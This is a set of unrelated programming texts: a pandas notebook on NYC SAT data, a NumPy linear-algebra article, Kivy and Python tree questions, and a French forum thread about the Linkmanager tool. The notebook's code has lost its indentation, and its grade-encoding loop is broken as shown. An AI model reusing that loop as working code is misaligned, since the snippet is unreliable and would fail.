dsSATs['Critical Reading Mean'].take(range(5))
Out[17]:
DBN M292 391 M448 394 M450 418 M458 385 M515 314 Name: Critical Reading Mean Feature Construction
dsClassSize will be a many-to-one join with dsSATs because dsClassSize contains multiple entries per school. We need to summarize and build features from this data in order to get one row per school that will join neatly to dsSATs.
Additionally, the data has an irregular format, consisting of a number of rows per school describing different class sizes, then a final row for that school which contains no data except for a number in the final column, SCHOOLWIDE PUPIL-TEACHER RATIO.
We need to extract the SCHOOLWIDE PUPIL-TEACHER RATIO rows, at which point we'll have a regular format and can build features via aggregate functions. We'll also drop any features that can't be easily summarized or aggregated and likely have no bearing on the SAT scores (like School Name).
In [18]:
#The shape of the data
print dsClassSize.columns
print dsClassSize.take([0,1,10]).values
array([BORO, CSD, SCHOOL NAME, GRADE , PROGRAM TYPE,
CORE SUBJECT (MS CORE and 9-12 ONLY),
CORE COURSE (MS CORE and 9-12 ONLY), SERVICE CATEGORY(K-9* ONLY),
NUMBER OF CLASSES, TOTAL REGISTER, AVERAGE CLASS SIZE,
SIZE OF SMALLEST CLASS, SIZE OF LARGEST CLASS, DATA SOURCE,
SCHOOLWIDE PUPIL-TEACHER RATIO], dtype=object)
[[M 1 P.S. 015 ROBERTO CLEMENTE 0K GEN ED - - - 1.0 21.0 21.0 21.0 21.0 ATS
nan]
[M 1 P.S. 015 ROBERTO CLEMENTE 0K CTT - - - 1.0 21.0 21.0 21.0 21.0 ATS
nan]
[M 1 P.S. 015 ROBERTO CLEMENTE nan nan nan nan nan nan nan nan nan nan nan
8.9]]
In [19]:
#Extracting the Pupil-Teacher Ratio
#Take the column
dsPupilTeacher = dsClassSize.filter(['SCHOOLWIDE PUPIL-TEACHER RATIO'])
#And filter out blank rows
mask = dsPupilTeacher['SCHOOLWIDE PUPIL-TEACHER RATIO'].map(lambda x: x > 0)
dsPupilTeacher = dsPupilTeacher[mask]
#Then drop from the original dataset
dsClassSize = dsClassSize.drop('SCHOOLWIDE PUPIL-TEACHER RATIO', axis=1)
#Drop non-numeric fields
dsClassSize = dsClassSize.drop(['BORO','CSD','SCHOOL NAME','GRADE ','PROGRAM TYPE',\
'CORE SUBJECT (MS CORE and 9-12 ONLY)','CORE COURSE (MS CORE and 9-12 ONLY)',\
'SERVICE CATEGORY(K-9* ONLY)','DATA SOURCE'], axis=1)
#Build features from dsClassSize
#In this case, we'll take the max, min, and mean
#Semantically equivalent to select min(*), max(*), mean(*) from dsClassSize group by SCHOOL NAME
#Note that SCHOOL NAME is not referenced explicitly below because it is the index of the dataframe
grouped = dsClassSize.groupby(level=0)
dsClassSize = grouped.aggregate(np.max).\
join(grouped.aggregate(np.min), lsuffix=".max").\
join(grouped.aggregate(np.mean), lsuffix=".min", rsuffix=".mean").\
join(dsPupilTeacher)
print dsClassSize.columns
array([NUMBER OF CLASSES.max, TOTAL REGISTER.max, AVERAGE CLASS SIZE.max,
SIZE OF SMALLEST CLASS.max, SIZE OF LARGEST CLASS.max,
NUMBER OF CLASSES.min, TOTAL REGISTER.min, AVERAGE CLASS SIZE.min,
SIZE OF SMALLEST CLASS.min, SIZE OF LARGEST CLASS.min,
NUMBER OF CLASSES.mean, TOTAL REGISTER.mean,
AVERAGE CLASS SIZE.mean, SIZE OF SMALLEST CLASS.mean,
SIZE OF LARGEST CLASS.mean, SCHOOLWIDE PUPIL-TEACHER RATIO], dtype=object)
Joining
One final thing before we join - dsProgReports contains distinct rows for separate grade level blocks within one school. For instance one school (one DBN) might have two rows: one for middle school and one for high school. We'll just drop everything that isn't high school.
And finally we can join our data. Note these are inner joins, so district data get joined to each school in that district.
In [20]:
mask = dsProgReports['SCHOOL LEVEL*'].map(lambda x: x == 'High School')
dsProgReports = dsProgReports[mask]
In [21]:
final = dsSATs.join(dsClassSize).\
join(dsProgReports).\
merge(dsDistrict, left_on='DISTRICT', right_index=True).\
merge(dsAttendEnroll, left_on='DISTRICT', right_index=True)
(Even More) Additional Cleanup
We should be in a position to build a predictive model for our target variables right away but unfortunately there is still messy data floating around in the dataframe that machine learning algorithms will choke on. A pure feature matrix should have only numeric features, but we can see that isn't the case. However for many of these columns, the right approach is obvious once we've dug in.
In [22]:
final.dtypes[final.dtypes.map(lambda x: x=='object')]
Out[22]:
School Name object
SCHOOL object
PRINCIPAL object
PROGRESS REPORT TYPE object
SCHOOL LEVEL* object
2009-2010 OVERALL GRADE object
2009-2010 ENVIRONMENT GRADE object
2009-2010 PERFORMANCE GRADE object
2009-2010 PROGRESS GRADE object
2008-09 PROGRESS REPORT GRADE object
YTD % Attendance (Avg) object
In [23]:
#Just drop string columns.
#In theory we could build features out of some of these, but it is impractical here
final = final.drop(['School Name','SCHOOL','PRINCIPAL','SCHOOL LEVEL*','PROGRESS REPORT TYPE'],axis=1)
#Remove % signs and convert to float
final['YTD % Attendance (Avg)'] = final['YTD % Attendance (Avg)'].map(lambda x: x.replace("%","")).astype(float)
#The last few columns we still have to deal with
final.dtypes[final.dtypes.map(lambda x: x=='object')]
Categorical Variables
We can see above that the remaining non-numeric field are grades . Intuitively, they might be important so we don't want to drop them, but in order to get a pure feature matrix we need numeric values. The approach we'll use here is to explode these into multiple boolean columns. Some machine learning libraries effectively do this for you under the covers, but when the cardinality of the categorical variable is relatively low, it's nice to be explicit about it.
In [24]:
gradeCols = ['2009-2010 OVERALL GRADE','2009-2010 ENVIRONMENT GRADE','2009-2010 PERFORMANCE GRADE','2009-2010 PROGRESS GRADE','2008-09 PROGRESS REPORT GRADE']
grades = np.unique(final[gradeCols].values) #[nan, A, B, C, D, F]
for c in gradeCols:
for g in grades:
final = final.join(pd.Series(data=final
.map(lambda x: 1 if x is g else 0), name=c + "_is_" + str(g)))
final = final.drop(gradeCols, axis=1)
#Uncomment to generate csv files
#final.drop(['Critical Reading Mean','Mathematics Mean','Writing Mean'],axis=1).to_csv('C:/data/NYC_Schools/train.csv')
#final.filter(['Critical Reading Mean','Mathematics Mean','Writing Mean']).to_csv('C:/data/NYC_Schools/target.csv')
That's it!
We now have a feature matrix that's trivial to use with any number of machine learning algorithms. Feel free to stop here and run the two lines of code below to get nice CSV files written to disk that you can easily use in Excel, Tableau, etc. Or run the larger block of code to see how easy it is to build a random forest model against this data, and look at which variables are most important.
In [25]:
#Uncomment to generate csv files
#final.drop(['Critical Reading Mean','Mathematics Mean','Writing Mean'],axis=1).to_csv('C:/data/NYC_Schools/train.csv')
#final.filter(['Critical Reading Mean','Mathematics Mean','Writing Mean']).to_csv('C:/data/NYC_Schools/target.csv')
In [26]:
from sklearn.ensemble import RandomForestRegressor
target = final.filter(['Critical Reading Mean'])
#We drop all three dependent variables because we don't want them used when trying to make a prediction.
train = final.drop(['Critical Reading Mean','Writing Mean','Mathematics Mean'],axis=1)
model = RandomForestRegressor(n_estimators=100, n_jobs=-1, compute_importances = True)
model.fit(train, target)
predictions = np.array(model.predict(train))
rmse = math.sqrt(np.mean((np.array(target.values) - predictions)**2))
imp = sorted(zip(train.columns, model.feature_importances_), key=lambda tup: tup[1], reverse=True)
print "RMSE: " + str(rmse)
print "10 Most Important Variables:" + str(imp[:10])
RMSE: 80.13105688
10 Most Important Variables:[('PEER INDEX*', 0.81424747874371173), ('TOTAL REGISTER.min', 0.060086333792196724), ('2009-2010 ENVIRONMENT CATEGORY SCORE', 0.023810405565050669), ('2009-2010 ADDITIONAL CREDIT', 0.021788425210174274), ('2009-2010 OVERALL SCORE', 0.019046860376900468), ('AVERAGE CLASS SIZE.mean', 0.0094882658926829649), ('2009-2010 PROGRESS CATEGORY SCORE', 0.0094678349064146652), ('AVERAGE CLASS SIZE.min', 0.0063723026953534942), ('2009-2010 OVERALL GRADE_is_nan', 0.0057710237481254567), ('Number of Test Takers', 0.0053660239780210584)]
photo by Stefan on Flickr |
I'm trying to draw a simple "X" in the middle of a button. I've put in the following drawing code:
width, height = self.size
x, y = self.pos
x1, x2 = x + int(width*0.3), x + int(width*0.7)
y1, y2 = y + int(height*0.3), y + int(height*0.7)
with self.canvas:
Line(points=[x1, y1, x2, y2], width=1, cap='none')
Line(points=[x2, y1, x1, y2], width=1, cap='none')
self.canvas.ask_update()
The two diagonal lines, even though they're using the exact same integer coordinates, are not drawn the same. The upper-left to lower-right is drawn aliased, and the other is not. How can I make them consistent?
I should mention that I'm testing with the Windows version of kivy and I haven't tried it on any other platform yet. |
This month we'll use NumPy and DISLIN to create, display, and manipulate a basic geometric image. At the heart of image manipulation are special matrices that can be used to create effects. You can use these effects separately or combine them for more complex operations. While the focus is on two-dimensional operations, the concepts extend to three (and more) dimensions. They are fundamental to many applications including computer games and computer-aided design (CAD) programs. They are the heart of linear algebra itself.
Linear algebra is the math of shaped collections of numbers. The mathematics we are most familiar with deals with numbers called scalars. We use scalars in our lives to represent things like the amount in our bank account ($10.08), the speed we drive (65 miles per hour), or the time it takes for popcorn to pop in the microwave oven (3 minutes 40 seconds). Each of these values is a magnitude of some quantity that interests us. Often we use combinations of values to represent more complex information. For example, there is a difference between the speed of an object (say your car) and its velocity. One is simple magnitude (speed: how fast you are going); the other implies both speed and direction (velocity). Your speed cannot be negative, but your velocity could be. Think about your car moving in reverse. You are moving so you have speed, but the direction is "backwards," giving you a negative velocity. Speed is a scalar value, but velocity is expressed as a vector, a combination of two numbers that imply both direction and magnitude. Assuming your car is driven on a flat road, only two numbers are needed to represent the direction of movement.
Considering the world as a flat plane, we can lay on it two reference directions. The arrows labeled x and y provide a reference for our vector .
The vector is defined as being four units in the x direction and 3 units in the y direction (units, in this case, being miles traveled.) So how do we get from the motion of a car to a vector of ? Well we would say that the velocity of the car is miles per hour. Which means that the car moved four miles in the x direction and three in the y in the last hour. The actual motion of the car is the length of the vector, computed via:
This is just the Pythagorean theorem, which seems to pop up everywhere! Continuing with the example, the car moved a total of five miles in the course of a single hour and as such went five miles per hour.
If we want to describe motion of objects that can move in more dimensions (say an airplane - which can move "up" and "down" as well), we have to use vectors with more elements (three for the airplane).
Vectors are used to represent many things -- the velocity of an automobile is but one real example. In general, the concept of a vector is abstract. You don't need to know what a vector represents in order to manipulate it, although knowing sometimes helps you understand what you are doing. The mathematics for manipulating vectors can be considered separately from the implementation of a particular problem.
Instead of graphing velocity, we will use vectors to draw a basic image. We will then focus on the manipulation of this image via special matrices and matrix mathematics.
To see how this works, let's review some basic operations on vectors. The addition of two vectors can be shown graphically. It works as might be expected: Two vectors and add up to . Here is how it looks in a graph:
Notice how the first vector starts from the origin (0,0). The second vector is then placed with its tail (the end with no arrow head) to the head of the first. The combination of the two is the same as a vector starting from the origin connecting to the head of the second one. Subtraction follows in a similar fashion, but reverses the direction of the second vector.
Graphing addition like this, a collection of vectors (each representing a line) can be used to create basic images, a vector version of connect-the-dots. Although our example is simple in nature, many vectors can be combined to generate complex drawings.
Let's try an example to illustrate what can be done. Following is a complete Python program that uses both the Numeric (NumPy) module as well as pxDislin. What is new from last month is the use of the dMultiLine function, which draws a line (vector) between points of x_list and y_list arguments. Essentially, the dMultiLine function is performing a vector addition operation. The function does not actually do the math, but it does graphically represent the operation. The points chosen trace out a simple box structure of a house centered on the plot axis.
from pxDislin import *
from Numeric import *
plot = dPlot()
axis = dAxis(-20,20,-20,20)
plot.add_axis(axis)
house_pts = array([[5,5,-5,-5,5,4,4,2,2,5,5,0,-5],
[-5,5,5,-5,-5,-5,-1,-1,-5,-5,5,8,5]])
house = dMultiLine(house_pts[0],house_pts[1])
plot.add_object(house)
plot.show()
The generated plot is:
The points that draw out the house are essentially a 2-by-13 matrix:
where the x coordinates are in the top row and the y coordinates are the bottom row. Each column of the matrix may be taken as a 2-by-1 vector, and as such the matrix is a collection of 13 column vectors.
Matrix multiplication is fundamental to image manipulation. It is a mapping function. We "map" a vector from one frame of reference to another. Looking back to the first article in our series, the multiplication of two matrices was shown to be
Let's look at how this works for a 2-by-2 matrix multiplied by a 2-by-1 vector. Here is how we will reference the values in these matrices:
The result is a 2-by-1 vector transformed by matrix A. Expanding out the math below, notice the interaction between the terms: each value of the result is a combination of several values of the input.
Matrix A is a transformation matrix, and its values, when mapped to vector b, transform it. The correct choice of our transformation matrix is fundamental to creating the right effect for our 2-by-13 house matrix.
While we could manipulate each of the 2-by-1 vectors in our set of 13 individually, that would be sloppy. Linear algebra rescues us from the tedium. The matrix multiplication problem we looked at before readily extends to larger matrices. A 2-by-2 matrix multiplied by a 2-by-1 vector results in a 2-by-1 vector, but a 2-by-2 matrix multiplied by a 2-by-13 matrix results in another 2-by-13 matrix.
In essence each column of the original matrix is transformed by the matrix multiplication into the corresponding column of the result matrix. With matrix mathematics, we do the operation in one step!
Let's add a transformation matrix to our example code before we generate the plot. To keep things simple, for the moment we'll use an identity matrix. Using an identity matrix is the equivalent of multiplying everything by 1 -- a kind of "do nothing" operation. However, it does provide us a way to make sure "the math works," and the identity matrix is the basis for most transformation matrices.
from pxDislin import *
from Numeric import *
plot = dPlot()
trans = array([[1,0],
[0,1]])
axis = dAxis(-20,20,-20,20)
plot.add_axis(axis)
house_pts_orig = array([[5,5,-5,-5,5,4,4,2,2,5,5,0,-5],
[-5,5,5,-5,-5,-5,-1,-1,-5,-5,5,8,5]])
house_pts = matrixmultiply(trans,house_pts_orig)
house = dMultiLine(house_pts[0],house_pts[1])
plot.add_object(house)
plot.show()
The plot generated is the same as the first one shown.
We'll look at four basic transformations. From these simple operations, more complex functions can be constructed.
A rotation matrix will allow us to spin the image clockwise or counterclockwise around the origin. This matrix makes use of the trigonometric functions sine and cosine. The trigonometric functions take as an argument an angle of rotation; positive angles will give a counterclockwise rotation, negative values a clockwise one. Angles are commonly measured on two scales. Most people are experienced with units of degrees -- a complete circle has 360 degrees. Computers measure angles in units of radians. To a computer, a circle has radians. We will convert degrees to radians by multiplying the degrees of our angle by pi divided by 180. That will give us the correct values for our matrix. The rotation matrix itself is defined as:
where represents the angle of rotation we desire.
After replacing the identity matrix in the example code with the following and running the code, we see the house is now rotated counterclockwise by 30 degrees.
angle = 30 * pi/180
trans = array([[cos(angle), -sin(angle)],
[sin(angle), cos(angle)]])
Using the rotation matrix, any point or collection of points can be easily rotated around the center point (0,0).
Reflection
Next on the list of transformations is the reflection matrix. A reflection matrix will cause the image to be flipped, or reflected across an axis. An example of a reflection matrix that causes all the y values to be negated (thus flipping the image across the x axis) is:
Switching the rotation matrix with the reflection one generates the following:
Try to figure the reflection matrix that negates only the x coordinates. Is there a matrix that negates both the x and y coordinates at the same time?
Scale
Another simple transformation is the scale matrix. The identity matrix can be modified to have values of other than one on the diagonal. As such, it becomes a scale matrix, changing only the size of the drawing. This matrix can be used to both scale up, a>1, and scale down, a<1 :
Shear
The last matrix we will explore is the "shear" matrix. This causes a shear motion in one particular dimension.
The result can be seen below for a shear matrix where k=2.
Applying more than one transformation matrix can induce multiple actions. In addition, individual transformation matrices can be combined (via a matrix multiply) to form a complex action. Following is the result of combining a shear matrix with a reflection matrix.
Try a few combinations of your own -- see what you can come up with.
Currently in our plots, the house is centered on the origin of the plot (0,0). Using vector operations, you can move the house away from the center via translation. This is accomplished by simply adding an offset vector to each of the columns in the matrix. Adding a vector of will move the drawing as shown:
Give the combination of translation and transformation a try. What happens if you rotate a translated image?
Hopefully this only helped whet your appetite for using NumPy and learning more about linear algebra. While not shown here, extending these techniques to more dimensions (three being most common) can allow more interesting applications. In three dimensions, solid objects can be modeled and rotations and reflections can be generated around multiple axes, creating complex object motions. Such actions are fundamental to graphics drawing, modeling packages, and 3D gaming. While the mathematics of linear algebra may be abstract, they are used in common applications. NumPy helps implement these actions clearly, making this difficult topic easier to understand. If you want to play with more complex examples, consult almost any elementary text on linear algebra or books on graphics or image manipulation.
Next month we will look past the basic NumPy functions to the additional modules provided in the standard package. Using these modules, more complex programs can be written for a wide variety of applications.
Eric Hagemann specializes in fast algorithms for crunching numbers on all varieties of computers from embedded to mainframe.
Read more Numerically Python columns.
Discuss this article in the O'Reilly Network Python Forum.
Return to the Python DevCenter.
Copyright © 2009 O'Reilly Media, Inc. |
I have a structure that looks like this:
[ {'id': 4, 'children': None},
{'id': 2, 'children':
[ {'id': 1, 'children':
[ {'id': 6, 'children': None},
{'id': 5, 'children': None} ]
},
{'id': 7, 'children':
[ {'id': 3, 'children': None} ]
}
]
}
]
I also have a list of selected IDs, [4, 5, 6, 7]. I want to traverse the list and for each object in the list, add a selected key with a value of 1 if it is selected, and 0 if it is not.
Currently I am doing this recursively with this function:
def mark_selected(tree, selected):
for obj in tree:
obj['selected'] = 1 if obj['id'] in selected else 0
if obj['children'] is not None:
obj['children'] = mark_selected(obj['children'], selected)
return tree
This seems to work fine, but I was wondering if there was a more clever way to do this, possibly using list comprehension or generators.
Can anyone come up with a more elegant solution for this? |
melixgaro
Re : Linkmanager : logiciel de gestion de ses URLs
je m'inquiétais de ne rien voir venir... je patiente encore donc... Bon courage
Utilisateur Linux depuis ~2007 : Mandriva 2007 => Ubuntu 8.04 => Ubuntu 8.10 => Opensuse 10 => Ubuntu 9.10 => Fedora 11 => Ubuntu 10.04 => Ubuntu 10.10 [la meilleure des ubuntu avant la cata unity] => Xubuntu 11.10 => Xubuntu 12.04 => Xubuntu 12.10 => Xubuntu 13.10
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Bon, ça prend forme!
Désolé du temps pris : je suis un peu perfectionniste et je veux vraiment traiter certains soucis critiques avant de lancer une 1.0...
Et surtout éviter au possible de maintenir des architectures bancales...
De +, je consacre un temps volontairement "limité" sur ce projet, en ayant d'autres en cours plus ou moins avancés/complexes.
Ca reste un soft pour mon usage que je mets gracieusement à la vue de tous.
J'ai donc mis mes derniers travaux sur une branche "develop" pour les plus téméraires.
On test ici :
sudo pip3 install -e git+https://github.com/mothsART/linkmanager.git@5f9046ae297501892e95a779961f80fb3ad8d125#egg=linkmanager
Il me reste principalement à :
* rajouter des tests unitaires (et à corriger pas mal de tests qui ont sautés)
* étoffer la partie "serveur"
* permettre l'auto-complétion des tags dans le shell!
* i18n : un peu de taf à ce niveau d'effectué mais ça reste encore inégal : du franglais par moment...
Suite à ça, je pourrais sereinement penser à :
* lancer la version 0.4 sur ppas/pypi
* corriger le wiki en conséquence
* refaire une campagne de pub
Qu'est-ce qui a changé ? (Liste non exhaustive)
* ajout de la prise en charge de titres et d'URLS minimisés.
Comme évoqué, lors d'un ajout d'URL, une requête "asynchrone" va rechercher le titre d'une page web afin de la suggérer.
l'URL est automatiquement minimisé à la fin de l'ajout d'un lien : via l'api d'un webservice.
On peut déjà choisir/changer son webservice en éditant les settings du soft mais prenez ça comme temporaire.
Mon objectif est de fournir un fichier de conf générique (/etc/linkmanager/settings.conf) et par utilisateur (/home/user/.config/linkmanager/settings.conf) selon les principes d'UNIX.
* Justement, des variables de conf commencent à prendre place :
* paramêtrage de la Base de donnée
* minimizer
* Options de la recherche : nombre maximum dans l'auto-suggestion de tags, nombre maximum de réponses
* ajout de l'option "verbose" sur une recherche :
permet d'avoir toutes les propriétés corresponds à un lien :
$ linkm search -v
6 liens au total trouvés :
1 ➤ http://ubuntu.com
├── title : The leading OS for PC, tablet, phone and cloud | Ubuntu
├── 5431572c-d859-46c2-87c8-5e1c0c1fa402
├── ordre de priorité : 10
├── tags : linux python shell ubuntu
├── description : Fr Ubuntu site
└── create the 27 January 2014 at 17:37:19 and not updated yet.
2 ➤ https://www.404.io/404.html
├── 1afae9bb-8e71-46f7-aadb-701bb1353937
├── ordre de priorité : 10
├── tags :
├── description : no response
└── create the 27 January 2014 at 17:37:19 and not updated yet.
3 ➤ https://www.docker.io
├── title : Homepage - Docker: the Linux container engine
├── ef91d3dd-35f5-40a6-9410-4a79db9175ef
├── ordre de priorité : 10
├── tags : container golang linux ubuntu
├── description : Container engine...
└── create the 27 January 2014 at 17:37:19 and not updated yet.
* un load de JSON est maintenant un peu plus "intelligent" : il permet de rechercher automatiquement les titres des pages, de minimizer à la volé les URLS etc.
C'est du traitement asynchrone "répartie" (le nombre de tâches simultannées est par défaut de 5 car c'est à priori la meilleur config pour mon serveur mais ça peut être modifié dans les settings) donc optimisé pour être le plus rapide possible.
Cependant, j'imagine que ça peut vite devenir bloquant pour des grosses bases!
Il faudrait rajouter une barre de progression sans doute, une option "offline" etc.
Enfin, le load est un peu plus regardant de l'intégrité de votre base.
Il déclenche par exemple des erreurs si dans vos fichiers json (je rappel qu'on peut très bien chargé plusieurs json d'un coup : linkm load fixture1.json fixture2.json fixture3.json) vous vous retrouvez plusieurs liens semblables présentant des propriétés différentes.
Maintenant, la grosse évolution (celle qui vous a fait attendre) :
Un serveur web qui se lance via :
$ linkm wou$ link web
ça lance automatiquement la page sous firefox mais vous pouvez changer le navigateur soit dans les settings soit :
$ linkm w chrome
C'est vraiment minimaliste pour l'instant mais l'idée est là : la recherche de liens via des tags avec de l'auto-suggestion.
Tout est centré autours de la recherche est j'ai pris soin d'utiliser des libs solides : jquery, jquery-ui, _underscore, twitter-bootstrap.
On peut reprocher qu'il n'y a pas d'indentité graphique (on reconnait l'apparence de twitter-bootstrap à des kilomètres) mais j'ai vraiment pas l'envie de me concentrer sur ce point.
Ca doit à mon sens être sobre et fonctionnel.
L'idée forte c'est "tout sur une page" : on est pas dans un site web mais plus dans de l'appli. (cqfd : bcp d'ajax)
Les boutons sur la droite ne sont pas actifs mais prévisionnels :
* un bouton "édition" : une fois activé, on peut rajouter des liens, et éditer ceux existants.
* un bouton "paramètres" : changer pas mal d'options de settings en live et user-friendly.
Bon, je demande votre indulgence car c'est vraiment tout frais et y'a pleins de bugs potentiels :
par exemple, le serveur ne fonctionne pas encore en mode off-line : j'utilise pour toutes les libs css/js des cdn pour booster un peu les choses mais il faudrait dans l'idéal livrer du static si c'est off.
J'aurais souhaité vous apporter une version demo mais j'ai essuyé quelques platres pour l'hébergement.
Au départ, je me suis tourné vers "Alwaysdata" : avec leur offre gratuite, je pensais avoir tout à porté de main...
C'est sans compter sur les dépendances : Alwaysdata propose python 3.1 et Flask ne tourne pas dessus... en plus, il faut compiler Redis.
Bref, pas du clé en main...
Je suis en train d'étudier des solutions de VPS gratuit :
* google app engine : n'utilise pas Redis donc obligation d'utiliser leur api Big data...
* heroku : sans doute le meilleurs mais j'suis pour l'instant un peu perdu...
* je viens de faire des demandes auprès d'autres VPS gratuits
Si bien évidement, une âme charitable se propose d'héberger ou financer l'hébergement, ça serait le top.
Je pense m'investir suffisement pour encore me soucier de ça.
Néanmoins, je trouve que ça serais une superbe vitrine d'avoir un truc en live.
Mon avancement vient forcément avec de nouvelles idées :
La plus probante : possibilité de suggérés des tags automatiquements lorsque la racine du lien est reconnu.
Exemple :
tous les sites commençant par https://www.youtube.com suggère automatiquement "video".
Il faudrait que je rajoute une option pour ça.
Dans l'idéal : ça devrait être enregistré en base mais je pense sans doute inclure ça dans les settings. (trop de taf d'un coup sinon pour peu d'avantages immédiats)
PS: je me suis aussi créé pas mal de petits outils dédiés afin d'améliorer ma productivité future sur le projet :
Par exemple, 1 config Tmux afin de lancer 1 session pour les tests, 1 pour lancer le serveur web, 1 pour les tests unitaires, 1 pour l'accès ssh et 1 pour 1 accès sur le site en remote avec Midnight Commander. (pour passer des gros fichiers JSON par exemple)
Ca m'évite bcp de tâches répétitives!
J'attend vos retour avec attention.
Hors ligne
White Angels
Re : Linkmanager : logiciel de gestion de ses URLs
Je testerais et te ferais un feedback dès que j'ai le temps !
En tout cas si tu as besoin d'un serveur je te prête le mien volontiers (j'ai un dédié chez online)
OS : Ubuntu 14.04 Trusty Tahr || Nombre de convertis aux libres : 1 (peut-être une deuxième)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Petite précision : si vous désirez tester à chaque fois la dernière version (cqfd : le dernier commit github) sans attendre des versions packagées :
sudo pip3 install --upgrade -e git+https://github.com/mothsART/linkmanager.git@numero_du_commit#egg=linkmanager
upgrade vous permet de forcer la dernière version si vous en avez déjà une d'installé et le numéro de commit, vous le trouverez facilement ici : https://github.com/mothsART/linkmanager/commits/develop
Bien à vous!
Hors ligne
White Angels
Re : Linkmanager : logiciel de gestion de ses URLs
Bonjour,
Alors désolé, je n'ai pas eu beaucoup de temps ces derniers temps mais je viens de prendre 15 min pour tester la nouvelle version dans une virtualbox.
Point positif : l'interface web à l'aire de fonctionné
Point négatif : je ne peux plus rien faire ^^ (ajouter/rechercher des liens)
voici le message d'erreur quand je fais un linkm add :
morgan@morgan-VirtualBox:~$ linkm add
Give one or several links (separate with spaces) : https://github.com/mothsART/linkmanager-lens
Traceback (most recent call last):
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 250, in connect
sock = self._connect()
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 268, in _connect
self.socket_timeout)
File "/usr/lib/python3.4/socket.py", line 509, in create_connection
raise err
File "/usr/lib/python3.4/socket.py", line 500, in create_connection
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/local/lib/python3.4/dist-packages/redis/client.py", line 460, in execute_command
connection.send_command(*args)
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 334, in send_command
self.send_packed_command(self.pack_command(*args))
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 316, in send_packed_command
self.connect()
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 253, in connect
raise ConnectionError(self._error_message(e))
redis.exceptions.ConnectionError: Error 111 connecting localhost:6379. Connection refused.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 250, in connect
sock = self._connect()
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 268, in _connect
self.socket_timeout)
File "/usr/lib/python3.4/socket.py", line 509, in create_connection
raise err
File "/usr/lib/python3.4/socket.py", line 500, in create_connection
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/local/bin/linkm", line 12, in <module>
exec(compile(open(__file__).read(), __file__, 'exec'))
File "/home/morgan/src/linkmanager/linkm", line 136, in <module>
Choices.call(args['choice'])(args['value'], verbose)
File "/home/morgan/src/linkmanager/linkmanager/tty.py", line 171, in addlinks
if db.link_exist(l):
File "/home/morgan/src/linkmanager/linkmanager/db/__init__.py", line 174, in link_exist
if not self._db.hexists('links_uuid', link):
File "/usr/local/lib/python3.4/dist-packages/redis/client.py", line 1535, in hexists
return self.execute_command('HEXISTS', name, key)
File "/usr/local/lib/python3.4/dist-packages/redis/client.py", line 464, in execute_command
connection.send_command(*args)
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 334, in send_command
self.send_packed_command(self.pack_command(*args))
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 316, in send_packed_command
self.connect()
File "/usr/local/lib/python3.4/dist-packages/redis/connection.py", line 253, in connect
raise ConnectionError(self._error_message(e))
redis.exceptions.ConnectionError: Error 111 connecting localhost:6379. Connection refused.
Dernière modification par White Angels (Le 11/06/2014, à 09:49)
OS : Ubuntu 14.04 Trusty Tahr || Nombre de convertis aux libres : 1 (peut-être une deuxième)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Le problème d'une installation avec Pip c'est qu'il ne t'installes que les dépendances python et non le reste. (à la différence d'un PPA)
Il faut installer la base de donnée Redis sur un environnement vierge sinon ça ne fonctionnera pas :
apt-get install redis-server
Pour le lancement du serveur, ça doit se faire en auto : linkmanager test si c'est lancé et le démarre dans le cas contraire.
Bon, je vais tenter d'avancer rapidement sur les points bloquants afin de produire une release PPA...
Hors ligne
White Angels
Re : Linkmanager : logiciel de gestion de ses URLs
Effectivement, maintenant ça fonctionne beaucoup mieux
Bon voici quelques remarques après un test rapide :
Je peux effectivement ajouté un lien :
morgan@morgan-VirtualBox:~$ linkm add
Give one or several links (separate with spaces) : https://github.com/mothsART/linkmanager-lens
https://github.com/mothsART/linkmanager-lens properties :
tags (separate with spaces) : lens
priority value (integer value between 1 and 10) : 10
give a description : descr
give a title : mothsART/linkmanager-lens · GitHub
https://github.com/mothsART/linkmanager-lens b'http://urlmin.com/4qjwo'
Pourquoi est-ce qu'il me fourni une url raccourcis ? surtout si c'est pour ne pas l'utiliser après ...
ensuite, lorsque j’effectue une recherche :
morgan@morgan-VirtualBox:~$ linkm search lens
1 links founded :
https://github.com/mothsART/linkmanager-lens
Je n'ai toujours pas le titre qui s'affiche, dommage
Quand à l'interface web, j'ai une toute petite remarque :
morgan@morgan-VirtualBox:~$ linkm w
* Running on http://127.0.0.1:7777/
* Restarting with reloader
127.0.0.1 - - [11/Jun/2014 11:34:37] "GET / HTTP/1.1" 200 -
Le "truc" garde le focus de la console, c'est dommage ! Perso je voyais plutôt un truc comme apache ou tu fais "linkm w start" et il se lance plutôt que de mobiliser la console.
Sinon je n'ai pas compris comment on installe la lentille unity ...
OS : Ubuntu 14.04 Trusty Tahr || Nombre de convertis aux libres : 1 (peut-être une deuxième)
Hors ligne
moths-art
Re : Linkmanager : logiciel de gestion de ses URLs
Pour les raccourci urls et la recherche simple, je suis dac : je vais changer ça...
Pour l'interface web, je préfère ne pas daemonizer d'entrée : c'est pas vraiment un serveur comme apache à la base.
J'imagine que tu souhaiterais quelque chose de persistant : genre le serveur web dispo après un reboot?
Je vais réfléchir à ça car je ne veux pas l'imposer : (genre une option de config) tous ne veulent pas ce service web en tâche de fond.
En attendant, fait
nohup linkm w &
J'imagine que tu sais comment faire pour le lancer en auto au démarrage de ta bécanne?
et pour le killer
killall linkm
Hors ligne
White Angels
Re : Linkmanager : logiciel de gestion de ses URLs
C'est pour cela que j'aurais bien vu une option start et stop.
Genre :
linkm w(eb)
lance le serveur comme il le fait actuellement
linkm w(eb) start
lance le serveur de manière persistante
